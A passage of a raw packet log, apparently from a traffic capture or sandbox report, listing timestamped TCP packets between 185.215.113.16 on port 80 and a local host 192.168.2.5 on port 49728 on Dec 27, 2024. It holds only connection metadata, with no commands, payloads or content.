Dec 27, 2024 09:07:58.825911999 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.825933933 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.825946093 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.825994015 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.826642036 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.826688051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.826699972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.826736927 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.827399015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.827445030 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.827451944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.827464104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.827497005 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.828171015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.828200102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.828212023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.828248024 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.828943968 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.828972101 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.828983068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.828990936 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.829025984 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.829694986 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.829720020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.829731941 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.829771042 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.830434084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.830481052 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.830481052 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.830501080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.830652952 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.831180096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.831243038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.831254959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.831290960 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.831923008 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.831964016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.831969976 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.831979036 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.832024097 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.832724094 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.832752943 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.832765102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.832819939 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.833420992 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.833455086 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.833468914 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.833484888 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.833511114 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.834244013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.834269047 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.834280968 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.834326982 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.834911108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.835186005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.835220098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.835233927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.835274935 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.835942030 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.835963964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.835983992 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.836023092 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.836040020 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.836707115 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.836730003 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.836771965 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.836833954 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.837467909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.837516069 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.837517023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.837529898 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.837572098 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.838192940 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.838217974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.838229895 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.838279009 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.839034081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.839045048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.839056969 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.839101076 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.839117050 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.839716911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.839770079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.839782953 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.839818001 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.840449095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.840511084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.840523005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.840570927 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.841233015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.841308117 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.841320038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.841356039 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.842020035 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.842057943 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.842067003 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.842071056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.842112064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.842758894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.842812061 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.842823982 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.842849970 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.843468904 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.843504906 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.843514919 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.843519926 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.843574047 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.844217062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.844264984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.844275951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.844307899 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.844970942 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.845014095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.845022917 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.845026970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.845078945 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.845735073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.845772982 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.845783949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.845838070 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.846472979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.846519947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.846532106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.846579075 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.847229004 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.847273111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.847284079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.847320080 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.847976923 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.848129988 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.848227024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.848311901 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.848324060 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.848422050 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.848989964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.849036932 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.849040031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.849054098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.849092007 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.849731922 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.849786043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.849797964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.849939108 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.850537062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.850581884 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.850586891 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.850594997 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.850636959 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.851234913 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.851294994 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.851306915 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.851382971 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.851985931 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.852032900 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.852036953 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.852050066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.852087975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.852747917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.852794886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.852807045 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.852854967 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.853503942 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.853543997 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.853555918 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.853605032 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.854269981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.854312897 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.854325056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.854361057 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.855009079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.855057955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.855070114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.855108023 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.855747938 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.855798006 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.855809927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.855849028 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.856525898 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.856554985 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.856566906 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.856607914 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.857273102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.857317924 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.857331038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.857359886 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.858076096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.858153105 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.858165026 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.858175993 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.858197927 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.858783960 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.858834028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.858844995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.858881950 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.859533072 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.859577894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.859586000 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.859591007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.859632969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.860280037 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.860315084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.860326052 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.860357046 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.861030102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.861277103 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.861279011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.861325026 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.861336946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.861365080 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.862049103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.862087965 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.862101078 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.862102985 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.862142086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.862812042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.862831116 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.862844944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.862982988 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.863535881 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.863599062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.863610983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.863662004 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.864296913 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.864336967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.864347935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.864382982 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.865058899 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.865113020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.865123987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.865200043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.865808964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.865859985 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.865873098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.865911961 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.866554022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.866605043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.866609097 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.866616964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.866660118 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.867319107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.867345095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.867362022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.867388010 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.868062973 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.868098974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.868109941 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.868109941 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.868279934 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.868809938 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.868860960 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.868872881 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.868904114 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.869575024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.869616032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.869626999 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.869678974 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.870337963 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.870382071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.870398998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.870436907 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.871099949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.871130943 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.871141911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.871189117 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.871817112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.871865988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.871877909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.872565031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.872620106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.872621059 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.872637033 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.872689009 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.873327971 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.873369932 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.873382092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.873850107 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.874074936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.874324083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.874373913 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.874386072 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.874417067 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.875168085 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.875210047 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:58.875225067 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.915198088 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:58.956000090 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.075635910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.075673103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.075685024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.075766087 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.075963974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.076028109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.076040983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.076167107 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.076167107 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.076685905 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.076735020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.076747894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.076806068 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.077471018 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.077500105 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.077516079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.077564001 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.078223944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.078279972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.078294039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.078326941 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.078948975 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.078975916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.078989029 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.079047918 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.079710960 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.079735041 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.079747915 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.079797029 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.080451965 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.080499887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.080514908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.080602884 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.081197977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.081258059 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.081273079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.081336975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.082010984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.082025051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.082050085 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.082075119 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.082103014 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.082720995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.082758904 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.082776070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.083476067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.083513021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.083528996 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.083537102 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.083568096 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.084212065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.084254980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.084270000 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.084322929 CET	49728	80	192.168.2.5	185.215.113.16
